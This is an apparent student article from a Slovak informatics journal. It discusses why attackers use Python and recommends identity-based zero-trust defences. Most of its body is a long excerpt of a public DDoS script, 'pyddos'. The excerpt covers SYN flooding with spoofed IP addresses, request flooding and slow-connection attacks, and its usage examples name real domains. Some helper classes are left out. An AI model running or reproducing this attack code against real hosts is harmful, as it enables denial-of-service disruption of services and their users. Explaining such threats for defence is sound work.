Skip to content
ManažérskaInformatika.sk

ManažérskaInformatika.sk

vedecký časopis o informatike

Menu
  • Domov
  • O nás
    • O nás
    • O časopise
    • Redakčná rada
    • Indexovanie časopisu
    • Zásady ochrany osobných údajov
  • Časopis MI
    • Časopis MI
      • Ročník 1, 2020, číslo 1
      • Ročník 1, 2020, číslo 2
    • Študentský článok
    • Recenzovaný článok
    • Článok
    • Recenzia
  • Pre autorov
    • Pre autorov
    • Návody a šablóny
    • Publikačná etika
    • Odoslanie príspevku
  • Newsletter
    • Newsletter
    • RSS
  • Kontakt
Menu

ÚTOKY V JAZYKU PYTHON – AKO IM PREDCHÁDZAŤ?

Posted on 31 decembra, 202022 apríla, 2021 by PeterVe

Lukáš Bočkaj

Abstract

   The aim of this article is to acquaint the reader with the usability of the python programming language in attacks in the online environment and how to prevent them.

Key words: python, programming language, hacker attack, cybercrime

Abstrakt

   Cieľom tohto článku je oboznámiť čitateľa s použiteľnosťou programovacieho jazyka python pri útokoch v online prostredí a ako im predchádzať.

Kľúčové slová: python, programovací jazyk, hackerský útok, kybernetická kriminalita

Úvod

   Podľa výsledkov posledného prieskumu portálu Stack Overflow je Python najrýchlejšie sa rozvíjajúci programovací jazyk. V popularite už prekonal aj C#. Python má všetky atribúty profesionálneho programovacieho jazyka, umožňuje rýchly vývoj aplikačného kódu, podporuje objektovo orientované programovanie a je vynikajúci pre začiatočníkov. Podstatnou mierou k popularite Pythonu prispieva čistota a jednoduchosť v syntaxe a obrovské množstvo dostupných funkcií[2].

   Za posledných pár rokov zaznamenal Python úžasný nárast. V priebehu posledných rokov sa Python ukázal ako populárny a všestranný programovací jazyk. Veľkú popularitu má medzi odborníkmi na umelú inteligenciu a profesionálnymi programátormi a v nadnárodných korporáciách. Získal si priazeň aj v oblasti kybernetickej kriminality[5].

Python a internetová kriminalita

   Rastúca popularita Pythonu medzi hackermi by nemala byť prekvapením. Python je síce jednoduchý, ale výkonný programovací jazyk. Útočníkovi umožňuje s malým úsilím vytvoriť skript s menej ako 100 riadkami. Aj keď tento proces zneškodníte, začne sa sám zálohovať, vytvorí tzv. „zadné vrátka“, a bude naďalej meniť komunikáciu interne i s externými servermi a nastaví príkazy a riadiace odkazy[7]. Útočník dokonca nemusí napísať vlastný kód. Skripty backdoor v Pythone sa dajú ľahko dohľadať na internete – vyhľadávač Github ich vyhľadá viac ako 200. Štúdia spoločnosti Imperva potvrdzuje, že pri väčšine útokov, ktoré sa odohrali na globálnej úrovni, bolo 70 % realizovaných s akýmsi nástrojom založeným na Pythone a najmenej pri tretine týchto prípadov bol napísaný útočný kód v jazyku Python.

Obrázok 1 Vývoj popluarity programovacích jazykov

Zdroj : https://stackoverflow.blog/2017/09/06/incredible-growth-python/

   Podľa spoločnosti Imperva (spoločnosť poskytujúca softvér a služby v oblasti kybernetickej bezpečnosti), viac ako tretina každodenných útokov, ktoré spoločnosť chráni, pochádza zo škodlivého kódu alebo nástroja, kódovaného v jazyku Python[1].

Ako sa chrániť ?

Skriptovacie útoky často obchádzajú tradičnú ochranu. Brána firewall napríklad používa schválené sieťovej adresy na zistenie, či je server bezpečný, ale nedokáže presne overiť, čo konkrétne sa medzi dvoma „koncami“ prenáša. Výsledkom je, že skripty budú jednoducho schválené podľa nastavených pravidiel brány firewall. Pokiaľ ide o EDR (Endpoint Detection and Response), prenos zo škodlivých skriptov je veľmi podobný prenosu vytváranému bežnými nástrojmi na správu. Neexistuje jasný poznávací znak, ktorý by obranné mechanizmy EDR detekovali.[4]

   Efektívnym spôsobom ochrany pred skriptovacími útokmi je nastavenie prístupu nulovej dôveryhodnosti založeného na identite. V prístupe založenom na softvérovej identite nie sú zásady založené na sieťových adresách, ale skôr na jedinečnej identite pre každý proces. Akýkoľvek prístup založený na sieťových adresách nemôže adekvátne chrániť cieľ útoku. Sieťové adresy sa často menia, najmä v prostrediach s automatickým škálovaním, ako je napríklad cloud[6].

   Vďaka prístupu založenému na identite môže administrátor vytvoriť zásady, ktoré konkrétne stanovia, ktoré zariadenia, programy a skripty môžu navzájom komunikovať – ​​všetko ostatné je predvolene zablokované. Výsledkom je, že škodlivé skripty budú automaticky blokované pri vytváraní „zadných vrátok“, a umiestňovaní škodlivého softvéru[8].

Vzorový príklad záškodníckej aplikácie v Python

   Platforma GitHub je pomerne dobre známa ako platforma pre vývojárov rôzynch druhov aplikácií. Nemálo aplikácií je tam založených na programovacom jazyku Python. Pre znalého programátora je ľahké nájsť kódy pre napísanie útočnej aplikácie. Napríklad užívateľ platformy mach1el[3] tam má zdrojový kód pre DDoS útok (nebudeme uvádzať celý kód):

#!/usr/bin/env python2

version= ‘2.0’

title = ”’

      _ \        __ \  __ \               ___|           _)       |  

     |   | |   | |   | |   |  _ \   __| \___ \   __|  __| | __ \  __| 

     ___/  |   | |   | |   | (   |\__ \       | (    |    | |   | |  

    _|    \__, |____/ ____/ \___/ ____/ _____/ \___|_|   _| .__/ \__| 

           ____/                                            _|        

 DDos python script | Script used for testing ddos | Ddos attack    

 Author: ___T7hM1___                                               

 Github: http://github.com/t7hm1/pyddos                            

 Version:”’+version+”’

”’

import os

import sys

import json

import time

import string

import signal

import httplib,urlparse

from random import *

from socket import *

from struct import *

from threading import *

from argparse import ArgumentParser,RawTextHelpFormatter

if os.name == ‘posix’:

            c = os.system(‘which pip’)

            if c == 256:

                        os.system(‘sudo apt-get install python-pip’)

            else:

                        pass

else:

            print ‘[-] Check your pip installer’

try:

            import requests,colorama

            from termcolor import colored,cprint

except:

            try:

                        if os.name == ‘posix’:

                                    os.system(‘sudo pip install colorama termcolor requests’)

                                    sys.exit(‘[+] I have installed nessecary modules for you’)

                        elif os.name == ‘nt’:

                                    os.sytem(‘c:\python27\scripts\pip.exe install colorama requests termcolor’)

                                    sys.exit(‘[+] I have installed nessecary modules for you’)

                        else:

                                    sys.exit(‘[-] Download and install nessecary modules’)

            except Exception,e:

                        print ‘[-]’,e

if os.name == ‘nt’:

            colorama.init()

…

….

…

def main():

            parser = ArgumentParser(

        usage=’./%(prog)s -t [target] -p [port] -t [number threads]’,

        version=version,

        formatter_class=RawTextHelpFormatter,

        prog=’pyddos’,

        description=cprint(title,’white’,attrs=[‘bold’]),

        epilog=”’

Example:

    ./%(prog)s -d www.example.com -p 80 -T 2000 -Pyslow

    ./%(prog)s -d www.domain.com -s 100 -Request

    ./%(prog)s -d www.google.com -Synflood -T 5000 -t 10.0

”’

)

            options = parser.add_argument_group(‘options’,”)

            options.add_argument(‘-d’,metavar='<ip|domain>’,default=False,help=’Specify your target such an ip or domain name’)

            options.add_argument(‘-t’,metavar='<float>’,default=5.0,help=’Set timeout for socket’)

            options.add_argument(‘-T’,metavar='<int>’,default=1000,help=’Set threads number for connection (default = 1000)’)

            options.add_argument(‘-p’,metavar='<int>’,default=80,help=’Specify port target (default = 80)’ + colored(‘ |Only required with pyslow attack|’,’red’))

            options.add_argument(‘-s’,metavar='<int>’,default=100,help=’Set sleep time for reconnection’)

            options.add_argument(‘-i’,metavar='<ip address>’,default=False,help=’Specify spoofed ip unless use fake ip’)

            options.add_argument(‘-Request’,action=’store_true’,help=’Enable request target’)

            options.add_argument(‘-Synflood’,action=’store_true’,help=’Enable synflood attack’)

            options.add_argument(‘-Pyslow’,action=’store_true’,help=’Enable pyslow attack’)

            options.add_argument(‘–fakeip’,action=’store_true’,default=False,help=’Option to create fake ip if not specify spoofed ip’)

            args = parser.parse_args()

            if args.d == False:

                        parser.print_help()

                        sys.exit()

            add_bots();add_useragent()

            if args.d:

                        check_tgt(args)

            if args.Synflood:

                        uid = os.getuid()

                        if uid == 0:

                                    cprint(‘[*] You have enough permisson to run this script’,’green’)

                                    time.sleep(0.5)

                        else:

                                    sys.exit(cprint(‘[-] You haven\’t enough permission to run this script’,’red’))

                        tgt=check_tgt(args)

                        synsock=socket(AF_INET,SOCK_RAW,IPPROTO_TCP)

                        synsock.setsockopt(IPPROTO_IP,IP_HDRINCL,1)

                        ts=[]

                        threads=[]

                        print colored(‘[*] Started SYN Flood: ‘,’blue’)+colored(tgt,’red’)

                        while 1:

                                    if args.i == False:

                                               args.fakeip = True

                                               if args.fakeip == True:

                                                           ip = fake_ip()

                                    else:

                                               ip = args.i

                                    try:

                                               for x in xrange(0,int(args.T)):

                                                           thread=Synflood(tgt,ip,sock=synsock)

                                                           thread.setDaemon(True)

                                                           thread.start()

                                                           thread.join()

                                    except KeyboardInterrupt:

                                               sys.exit(cprint(‘[-] Canceled by user’,’red’))

            elif args.Request:

                        tgt = args.d

                        threads = []

                        print colored(‘[*] Start send request to: ‘,’blue’)+colored(tgt,’red’)

                        while 1:

                                    try:

                                               for x in xrange(int(args.T)):

                                                           t=Requester(tgt)

                                                           t.setDaemon(True)

                                                           t.start()

                                                           t.join()

                                    except KeyboardInterrupt:

                                               sys.exit(cprint(‘[-] Canceled by user’,’red’))

            elif args.Pyslow:

                        try:

                                    tgt = args.d

                                    port = args.p

                                    to = float(args.t)

                                    st = int(args.s)

                                    threads = int(args.T)

                        except Exception,e:

                                    print ‘[-]’,e

                        while 1:

                                    try:

                                               worker=Pyslow(tgt,port,to,threads,st)

                                               worker.doconnection()

                                    except KeyboardInterrupt:

                                               sys.exit(cprint(‘[-] Canceled by user’,’red’))

            if not (args.Synflood) and not (args.Request) and not (args.Pyslow):

                        parser.print_help()

                        print

                        sys.exit(cprint(‘[-] You must choose attack type’,’red’))

if __name__ == ‘__main__’:

            main()

Záver

    Široké možnosti použitia jazyka Python a jeho rozsiahle knižnice sa často zneužívajú na páchanie kybernetických zločinov. Ľahkosť používania programovacieho jazyka Python a jeho bohaté knižnice ponúkajú možnosti zneužitia. Ochranou voči takýmto možnostiam používania skriptov v jazyku Python je dôkladná kontrola spúšťaných kódov.

Použitá literatúra

  • [1]   CIMPANU, C. Python is a hit with hackers, report finds. In ZDNet [online]. [cit. 2020-12-01]. Dostupné na internete: <https://www.zdnet.com/article/python-is-a-hit-with-hackers-report-finds/>.
  • [2]   LACKO, Ľ. Prečo je Python jeden z najobľúbenejších programovacích jazykov? In IT News [online]. 2019. [cit. 2020-12-01]. Dostupné na internete: <https://www.nextech.sk/a/Preco-je-Python-jeden-z-najoblubenejsich-programovacich-jazykov>.
  • [3]   MACH1EL mach1el/pyddos. In GitHub [online]. [cit. 2020-12-01]. Dostupné na internete: <https://github.com/mach1el/pyddos>.
  • [4]   MATUŠOVIČ, M. et al. Protection of Competition – the Global Economic Crisis VI. . Mukařov – Srbín: Ľuboš Janica, 2018. 190 s. ISBN 978-80-270-1037-0.
  • [5]   PORADA, V. et al. Kybernetická bezpečnost. 6. In Bezpečnostní vědy : úvod do teorie, metodologie a bezpečnostní terminologie . Plzeň: Vydavatelství a nakladatelství Aleš Čeněk, 2019. s. 160–182. ISBN 978-80-7380-758-0.
  • [6]   SMITH, P. [online]. 2020. [cit. 2020-12-01]. Dostupné na internete: <https://www.helpnetsecurity.com/2020/03/24/python-backdoor-attacks/>.
  • [7]   VESELÝ, P. Definice kybernetické bezpečnosti, kybernetických útoků a kybernetické kriminality. In Bezpečnostní vědy : úvod do teorie, metodologie a bezpečnostní terminologie . Plzeň: Vydavatelství a nakladatelství Aleš Čeněk, 2019. s. 160–175. ISBN 978-80-7380-758-0.
  • [8]   VESELÝ, P. Manažment ochrany informácií. . Praha: TopSmart Business, 2020. ISBN 978-80-270-9014-3.

Celé vydanie časopisu Manažérska Informatika ročník 1, 2020, číslo 2

Indexed : GOOGLE SCHOLAR

Prihlásenie na odber Newsletteru

Najnovšie články

  • THE ROLE OF THE ANALYTIC HIERARCHY PROCESS IN THE FORMATION OF A STUDENT’S INDIVIDUAL EDUCATIONAL TRAJECTORY
  • COMPUTERS IN MEDICAL GOWNS: USAGE OF ARTIFICIAL INTELLIGENCE IN MEDICINE
  • ARTIFICIAL INTELLIGENCE AND ITS EVERYDAY USE
  • A NOVEL SCALOGRAM-BASED MODEL FOR HUMAN ACTIVITY RECOGNITION
  • RESEARCH OF METHODS FOR POLLUTION FORECASTING USING TIME SERIES AND NEURAL NETWORKS

Kategórie

  • Článok
  • Ročník 1, 2020, číslo 1
  • Ročník 1, 2020, číslo 2
  • Ročník 1, 2021, číslo 1
  • Ročník 1, 2021, číslo 2
  • Ročník 1, 2022, číslo 1
  • Ročník 1, 2022, číslo 2
  • Študentský článok

Tag cloud

antivirus (1) Antivirus software (1) Antivírusový softvér (1) automatizácia (1) bezpečnostná politika (1) Bezpečnosť (7) convolutional neural networks (1) COVID-19 (2) GDPR (8) implementation (3) implementácia (3) industrial espionage (2) innovation (2) inovácia (2) internetová ochrana (1) Internet security (2) lambda architecture (1) malware (1) management (2) manažment (2) obchodné tajomstvo (1) object search (1) online nakupovanie (1) online shopping (1) osobné údaje (2) parallel calculations (1) personal data (2) priemyselná špionáž (2) project (2) project management (2) projekt (2) projektový manažment (2) python (1) remote work (1) Security (6) security policy (1) Signal (1) sociálne siete (1) user (2) užívateľ (2) virus (2) vzdialená práca (1) web Applications (1) webové aplikácie (1) WhatsApp (1)

Archív

  • december 2022
  • jún 2022
  • apríl 2022
  • október 2021
  • máj 2021
  • december 2020

Manažérska informatika

Časopis Manažérska informatika je vydávaný 2x ročne. ISSN 2729-8310. Posledná aktualizácia k 31.12.2020. Posledné vydanie časopisu : Vol. I, No. 1 k 31.12.2020

©2023 ManažérskaInformatika.sk | Built using WordPress and Responsive Blogily theme by Superb
Správa nastavenia COOKIES
Na našich webových stránkach používame súbory cookie, aby sme vám poskytli najrelevantnejšie zážitky pamätaním vašich preferencií a opakovaných návštev. Kliknutím “Súhlasím”, súhlasíte s použitím VŠETKÝCH cookies.
Nastavenie COOKIESSúhlasím
Manage consent

Privacy Overview

This website uses cookies to improve your experience while you navigate through the website. Out of these, the cookies that are categorized as necessary are stored on your browser as they are essential for the working of basic functionalities of the website. We also use third-party cookies that help us analyze and understand how you use this website. These cookies will be stored in your browser only with your consent. You also have the option to opt-out of these cookies. But opting out of some of these cookies may affect your browsing experience.
Necessary
Vždy zapnuté
Necessary cookies are absolutely essential for the website to function properly. This category only includes cookies that ensures basic functionalities and security features of the website. These cookies do not store any personal information.
Non-necessary
Any cookies that may not be particularly necessary for the website to function and is used specifically to collect user personal data via analytics, ads, other embedded contents are termed as non-necessary cookies. It is mandatory to procure user consent prior to running these cookies on your website.
ULOŽIŤ A PRIJAŤ